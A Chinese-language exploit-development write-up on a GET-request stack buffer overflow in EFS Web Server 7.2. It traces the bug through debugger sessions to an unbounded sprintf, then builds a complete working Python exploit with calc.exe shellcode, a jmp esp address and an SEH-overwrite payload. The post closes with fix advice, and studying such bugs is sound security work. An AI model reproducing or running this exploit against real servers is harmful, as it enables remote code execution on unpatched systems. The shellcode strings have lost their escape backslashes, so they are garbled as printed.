简介
EFS Web Server是一个可以通过web端管理服务器文件的软件，发送GET请求长度过长会触发缓冲区溢出漏洞
分析来源：https://www.exploit-db.com/exploits/39008/
实验环境
WinXP sp3 中文版
EFS Web Server7.2
immunity debugger
windbg
IDA
mona
漏洞分析
由于作者使用的覆盖SEH程序的地址在ImageLoad.dll中，没ASLR，所以利用比较稳定，打开就弹出计算器
我们将payload该成全是A吧，buff = "A"*4500
windbg附加后运行，发送我们的4500个A
0:005> g
(39c.ebc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000001 ecx=ffffffff edx=02055fd4 esi=02055fac edi=02055fd4
eip=61c277f6 esp=02055f28 ebp=02055f40 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0 cmp dword ptr [eax+4Ch],0A029A697h ds:0023:4141418d=????????我们看到发生了一个应用异常，可以看到eax的值为0x41414141，那么eax的值我们是可以控制的咯，那具体是不知可以覆盖SEH，跟着这里引发异常，导致可以执行我们的shellcode呢
那我们看看eax的值来源于哪里呢，ida打开sqlite3.dll,定位到如下函数
signed int __usercall sqlite3SafetyCheckOk@<eax>(int a1@<eax>)
{
signed int v1; // ebx@2
if ( a1 )
{
v1 = 1;
if ( *(_DWORD *)(a1 + 0x4C) != 0xA029A697 ) // 这里就是异常触发的地方
{
LOBYTE(v1) = 0;
if ( sqlite3SafetyCheckSickOrOk() )
sqlite3_log(21, "API call with %s database connection pointer", "unopened");
}
}
.....
}看到这里只知道eax来源于上层函数
我们看看堆栈调用
0:005> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
02055f40 61c6286c 000011b8 00001194 0154249c sqlite3!sqlite3_errcode+0x8e
02055f80 004968f4 00000001 00000000 02055fac sqlite3!sqlite3_declare_vtab+0x3282
02057624 00000000 00000000 0205758c 020575a0 fsws+0x968f4根据第一个返回地址61c6286c我们定位到_sqlite3LockAndPrepare函数
这里还是没看到eax的来源
.text:61C6284E _sqlite3LockAndPrepare proc near ; CODE XREF: _sqlite3_step+C3p
.text:61C6284E ; _sqlite3Prepare16+C0p ...
.text:61C6284E
.text:61C6284E var_20 = dword ptr -20h
.text:61C6284E var_1C = dword ptr -1Ch
.text:61C6284E arg_0 = dword ptr 8
.text:61C6284E arg_4 = dword ptr 0Ch
.text:61C6284E arg_8 = dword ptr 10h
.text:61C6284E arg_C = dword ptr 14h
.text:61C6284E
.text:61C6284E push ebp
.text:61C6284F mov ebp, esp
.text:61C62851 push edi
.text:61C62852 push esi
.text:61C62853 push ebx
.text:61C62854 sub esp, 2Ch
.text:61C62857 mov ebx, eax
.text:61C62859 mov edi, edx
.text:61C6285B mov [ebp+var_1C], ecx
.text:61C6285E mov esi, [ebp+arg_8]
.text:61C62861 mov dword ptr [esi], 0
.text:61C62867 call _sqlite3SafetyCheckOk那我们还是看fsws.exe的004968f4 吧
.text:004968D0 sub_4968D0 proc near ; CODE XREF: sub_4971A0+EFp
.text:004968D0 ; sub_497440+29p ...
.text:004968D0
.text:004968D0 var_4 = dword ptr -4
.text:004968D0 arg_0 = dword ptr 4
.text:004968D0 arg_4 = dword ptr 8
.text:004968D0
.text:004968D0 push ecx
.text:004968D1 mov eax, [esp+4+arg_4]
.text:004968D5 push esi
.text:004968D6 test eax, eax
.text:004968D8 mov [esp+8+var_4], 0
.text:004968E0 push 0
.text:004968E2 jz short loc_496914
.text:004968E4 lea edx, [esp+0Ch+arg_4]
.text:004968E8 push edx
.text:004968E9 push 0FFFFFFFFh
.text:004968EB push eax
.text:004968EC mov eax, [ecx] ; eax来源于这里的ecx的引用
.text:004968EE push eax
.text:004968EF call sqlite3_prepare_v2我们在sub_4968D0函数开头下断
第三次断下来就看到ecx指向我们的41414141了
0:005> g
Breakpoint 0 hit
eax=02055fd4 ebx=00001101 ecx=02057058 edx=0205718b esi=02057058 edi=0154249c
eip=004968d0 esp=02055fa4 ebp=02057624 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
fsws+0x968d0:
004968d0 51 push ecx
0:005> dd ecx
02057058 41414141 41414141 41414141 41414141
02057068 41414141 41414141 41414141 41414141
02057078 41414141 41414141 41414141 41414141
02057088 41414141 41414141 41414141 41414141
02057098 41414141 41414141 41414141 41414141
020570a8 41414141 41414141 41414141 41414141
020570b8 41414141 41414141 41414141 41414141
020570c8 41414141 41414141 41414141 41414141那这个0x41414141是什么时候复制到栈上的呢
我们对02057058下一个写入断点吧
在这里暂停了下来
0:005> g
Breakpoint 1 hit
eax=00000041 ebx=00000132 ecx=02055f74 edx=02057058 esi=015434fe edi=02055f48
eip=00500df0 esp=02055cd0 ebp=02055cd0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
fsws+0x100df0:
00500df0 ff01 inc dword ptr [ecx] ds:0023:02055f74=02057058我们用ida看看这个地址,分析多了，看到这个write_char，就会联想上层调用了sprintf
.text:00500DDE ; int __cdecl write_char(int, FILE *, int)
.text:00500DDE _write_char proc near ; CODE XREF: sub_500640+1D2p
.text:00500DDE ; sub_500640+1EBp ...
.text:00500DDE
.text:00500DDE arg_0 = dword ptr 8
.text:00500DDE arg_4 = dword ptr 0Ch
.text:00500DDE arg_8 = dword ptr 10h
.text:00500DDE
.text:00500DDE push ebp
.text:00500DDF mov ebp, esp
.text:00500DE1 mov ecx, [ebp+arg_4]
.text:00500DE4 dec dword ptr [ecx+4]
.text:00500DE7 js short loc_500DF7
.text:00500DE9 mov edx, [ecx]
.text:00500DEB mov al, byte ptr [ebp+arg_0]
.text:00500DEE mov [edx], al
.text:00500DF0 inc dword ptr [ecx]那我们看看堆栈信息
0:005> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
02055cd0 00500e69 00000041 02055f74 02055f48 fsws+0x100df0
02055f5c 004f9698 02055f74 005a2859 02055fb0 fsws+0x100e69
02055f94 00497753 02055fd4 005a283c 013746c0 fsws+0xf9698
02057624 00000000 00000000 0205758c 020575a0 fsws+0x97753确实004f9698在sprintf函数内
那我们继续看下一个返回地址
.text:00497745 push edi
.text:00497746 push eax
.text:00497747 push ecx
.text:00497748 push offset aSelectFromSWhe ; "select * from %s where %s='%s'"
.text:0049774D push edx ; char *
.text:0049774E call _sprintf我们看看最后拼接的语句：bp 00497745
第一次断下来,我们执行到sprintf函数，看看栈上的参数
0:005> dd esp
02055f9c 02055fd4 005a283c 013746c0 01374670
02055fac 0154249c ffffffff 02057228 00001107
02055fbc 013746c0 01374670 00000000 00000000
02055fcc 00000000 01375900 656c6573 2a207463
02055fdc 6f726620 7173206d 6261746c 6c20656c
02055fec 74696d69 00003120 00000000 00000000
02055ffc 00000000 00000000 00000000 00000000
0205600c 00000000 00000000 00000000 00000000
0:005> dc 02055fd4 //格式化第一个参数即，目的地址
02055fd4 656c6573 2a207463 6f726620 7173206d select * from sq
02055fe4 6261746c 6c20656c 74696d69 00003120 ltable limit 1..
02055ff4 00000000 00000000 00000000 00000000 ................
02056004 00000000 00000000 00000000 00000000 ................
02056014 00000000 00000000 00000000 00000000 ................
02056024 00000000 00000000 00000000 00000000 ................
02056034 00000000 00000000 00000000 00000000 ................
02056044 00000000 00000000 00000000 00000000 ................
0:005> dc 0154249c //sprintf最后一个参数
0154249c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424ac 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424bc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424cc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424dc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424ec 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424fc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0154250c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA这么长的畸形字符串复制到栈上，使用sprintf格式化前有进行加成，这就造成栈溢出了
看看确实拼接成sql语句了
0:005> dc 02055fd4
02055fd4 656c6573 2a207463 6f726620 7173206d select * from sq
02055fe4 6261746c 7720656c 65726568 6d616e20 ltable where nam
02055ff4 41273d65 41414141 41414141 41414141 e='AAAAAAAAAAAAA
02056004 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02056014 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02056024 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02056034 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02056044 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA最后拿去给给sqlite3.dll处理的时候造成异常
具体路径如下，sprintf执行完下一条语句是调用sub_4968D0函数
sub_4968D0->sqlite3_prepare_v2->sqlite3LockAndPrepare->sqlite3SafetyCheckOk(在这函数里面异常)
那么0154249c上的畸形字符串哪里来，来源于sub_52DF03函数的memcpy函数的复制
漏洞利用
试试覆盖返回地址
作者使用的是覆盖SEH的方法，那是不是只能覆盖SEH呢?（是不是没执行到ret指令程序就崩溃掉了呢）
我们看看返回地址有多远
char v15; // [sp+20h] [bp-100Ch]@3
我们要溢出的buf距离ebp都㓟0x100c，即4108个字节
当然函数这里没有生成栈帧
那我们看看触发异常获取栈上02057058的值
>>> hex(0x02057058- 0x02055fd4)
'0x1084'那是可以覆盖返回地址的,我们尝试用4150个A
!mona pattern_create 4150
0:005> g
......
(c7c.738): Access violation(c7c.738): Access violation - code c0000005 (first chance)
- code c0000005 (first chance)
......
eax=00000000 ebx=00001007 ecx=34664633 edx=005aae28 esi=02057228 edi=ffffffff
eip=38664637 esp=02056ff0 ebp=02057624 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
eax=00000000 ebx=00001007 ecx=34664633 edx=005aae28 esi=02057228 edi=ffffffff
eip=38664637 esp=02056ff0 ebp=02057624 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
38664637 ?? ???计算一下
!mona pattern_offset 0x38664637
地址是4073(为什么比v15距离ebp的4180字节要小呢，因为前面还有sql语句的长度啊，O(∩_∩)O哈哈~)
但是下面的payload没起作用，服务器也没崩，调试也正常返回了
buff = "A" * 4073 + jmp_esp + "x90" * 20 + shellcode
那为什么之前eip会是0x38664637呢
跟踪一下看看，确实会retn到0x38664637
是不是我们的payload有什么问题呢
通过调试进一步排查，是触发了异常，也是一开始我们所看到的异常，
我们向前回溯看看这个eax的值来源于02057058，值是391c5a09
0:005> g
Breakpoint 2 hit
eax=02055fd4 ebx=00001101 ecx=02057058 edx=02055fac esi=02057058 edi=0154247c
eip=004968ec esp=02055f8c ebp=02057624 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
fsws+0x968ec:
004968ec 8b01 mov eax,dword ptr [ecx] ds:0023:02057058=391c5a09我们再看看我们的shellcode,从倒数第二个字节起向前数4个字节，刚好是0x391c5a09,那说明是我们的shellcode过长，覆盖到了上一函数栈帧的数据，导致异常的发生
shellcode = (
"xd9xcbxbexb9x23x67x31xd9x74x24xf4x5ax29xc9"
"xb1x13x31x72x19x83xc2x04x03x72x15x5bxd6x56"
"xe3xc9x71xfax62x81xe2x75x82x0bxb3xe1xc0xd9"
"x0bx61xa0x11xe7x03x41x84x7cxdbxd2xa8x9ax97"
"xbax68x10xfbx5bxe8xadx70x7bx28xb3x86x08x64"
"xacx52x0ex8dxddx2dx3cx3cxa0xfcxbcx82x23xa8"
"xd7x94x6ex23xd9xe3x05xd4x05xf2x1bxe9x09x5a"
"x1cx39xbd"
)那怎么解决？
1. 使用短一点的shellcode，这样无疑对我们的攻击有很大的限制
2. 由于前面我为了保险使用了长的nop，由于是retn 0xC，12个x90就行了，这样我们的shellcode应该也可以起作用
对于第二点我发现过短了
buff = "A" * 4073 + jmp_esp + "x90" * 12 + shellcode
调试发现没有复制0154249c的0x41414141
而且也不是where name，应该后面的数据影响了
0:005> dc 020560f0
020560f0 656c6573 2a207463 6f726620 7173206d select * from sq
02056100 6261746c 7720656c 65726568 65737520 ltable where use
02056110 3d646972 00002727 00000000 00000000 rid=''在后面加3个x90就会异常
最后排查测试,这样是可以执行jmp esp的
buff = "A" * 4073 + jmp_esp
那我们在后面搞个先前跳转不就行了？
最终exp：
# Usage: ./exploit.py ip port
import socket
import sys
host = str(sys.argv[1])
port = int(sys.argv[2])
a = socket.socket()
print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))
# calc.exe
# Bad Characters: x20 x2f x5c
shellcode = (
"xd9xcbxbexb9x23x67x31xd9x74x24xf4x5ax29xc9"
"xb1x13x31x72x19x83xc2x04x03x72x15x5bxd6x56"
"xe3xc9x71xfax62x81xe2x75x82x0bxb3xe1xc0xd9"
"x0bx61xa0x11xe7x03x41x84x7cxdbxd2xa8x9ax97"
"xbax68x10xfbx5bxe8xadx70x7bx28xb3x86x08x64"
"xacx52x0ex8dxddx2dx3cx3cxa0xfcxbcx82x23xa8"
"xd7x94x6ex23xd9xe3x05xd4x05xf2x1bxe9x09x5a"
"x1cx39xbd"
)
jmp_esp = "x8bx1cxa0x71" #0x71A01C8B jmp esp -> from wshtcpip.dll
buff = shellcode + "x90" * (4073-len(shellcode)) + jmp_esp + "x90" * 12 + "xE9x02xf0xffxff"
print len(shellcode)
# GET
a.send("GET " + buff + " HTTP/1.0
")
a.close()
print "Done..."
当然你也可以将shellcode改为弹窗的（注可能有些shellcode不能执行，有些位置的某些字符可能影响程序的执行流程或者sql查询的结果）
下面看看我们弹窗效果
那使用覆盖SEH是不是没遇到这么多麻烦呢？
覆盖SEH
首先定位SEH
0:005> !exchain
02056fd4: 46356646
Invalid exception stack at 34664633Address=0BADF00D Message= - Pattern 3Ff4 (0x34664633) found in Metasploit pattern at position 4061可以看到位置为4061，跟作者的exp写的是一样的，但这里是NEXT SEH的位置而已哦
我们先看看作者的思路
0:005> g
(c98.48c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41909090 ebx=00000001 ecx=ffffffff edx=02055fd4 esi=02055fac edi=02055fd4
eip=61c277f6 esp=02055f28 ebp=02055f40 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0 cmp dword ptr [eax+4Ch],0A029A697h ds:0023:419090dc=????????
0:005> !exchain
ImageLoad!SaveTIF+b68 (10019798)
Invalid exception stack at 90900aeb
0:005> bp 10019798
0:005> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10019798 edx=7c9232bc esi=00000000 edi=00000000
eip=10019798 esp=02055b58 ebp=02055b78 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ImageLoad!SaveTIF+0xb68:
10019798 5e pop esi
0:005> dd esp
02055b58 7c9232a8 02055c40 02056fd4 02055c5c
02055b68 02055c14 02056fd4 7c9232bc 02056fd4
02055b78 02055c28 7c92327a 02055c40 02056fd4
02055b88 02055c5c 02055c14 10019798 02055fd4
02055b98 02055c40 02056fd4 7c94a8c3 02055c40
02055ba8 02056fd4 02055c5c 02055c14 10019798
02055bb8 02055fd4 02055c40 02055fac 003fbb58
02055bc8 003fbb60 02055bb0 018a0b10 018a0a10我们看到暂停下来后，确实到了我们伪造的SEH程序处理的位置
其实windbg比较难看
我们用od吧^_^
下面是在系统异常处理的时候获取我们伪造的SEH程序的位置
我们看看执行到10019798时，栈的情况，发现esp+8的位置就是我们之前NEXT SEH的位置
不信看图
最后在Next SEH的指令跳过了垃圾代码，从而执行shellcode
最后还要说明的是最后为啥还要加那么长的字符
就是下面这一串，作者为什么加
buff+= "x90"*7
buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)"如果不加，程序的执行流程有点变化有点问题，从而触发不了异常
那么是不是一定要加到4500那么长呢，肯定不是啊
我在最后加50个A也行啊，10个A也行，甚至4个A也行
3个就不行了（但是3个的时候又不是那个问题，调试了一下发现程序的执行的流程，拼接的sql语句没问题，问题是最后拼接3个A的话，竟然没导致异常，从而不能触发SEH，而是执行到了函数最后的ret指令，返回到了0x90909090处了，导致最后不能正确执行shellcode）
那怎么让后面接3个A也行呢，就是将payload中shellcode的前9-12个0x90替换为jmp esp的地址即可,不信看看下面是不是这样
0:005> p
eax=00000000 ebx=00001007 ecx=90900aeb edx=005aae28 esi=02057228 edi=ffffffff
eip=00497832 esp=02056fe0 ebp=02057624 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
fsws+0x97832:
00497832 c20c00 ret 0Ch
0:005> dd esp
02056fe0 90909090 90909090 90909090 d9909090
02056ff0 23b9becb 74d93167 295af424 3113b1c9
02057000 c2831972 15720304 e356d65b 62fa71c9
02057010 8275e281 c0e1b30b a0610bd9 4103e711
02057020 d2db7c84 ba979aa8 5bfb1068 7b70ade8
02057030 0886b328 0e52ac64 3c2ddd8d bcfca03c
02057040 d7a82382 d9236e94 05d405e3 09e91bf2
02057050 bd391c5a 27414141 01841000 00000000但是为什么这样？，这是一个需要进一步探索的问题
下面这个是最后加50个A的payload
# Junk
buff = "A"*4061
# Next SEH
buff+= "xebx0Ax90x90"
# pop pop ret
buff+= "x98x97x01x10"
buff+= "x90"*19
# calc.exe
# Bad Characters: x20 x2f x5c
shellcode = (
"xd9xcbxbexb9x23x67x31xd9x74x24xf4x5ax29xc9"
......
......
)
buff+= shellcode
buff+= "A" * 50漏洞修复
使用安全的snprintf，或者对字符串长度进行限制
漏洞总结
由于使用sprintf格式化sql语句查询的时候对长度没有严格限制，导致缓冲区溢出，漏洞利用无论是覆盖返回地址还是覆盖SEH都有一些坑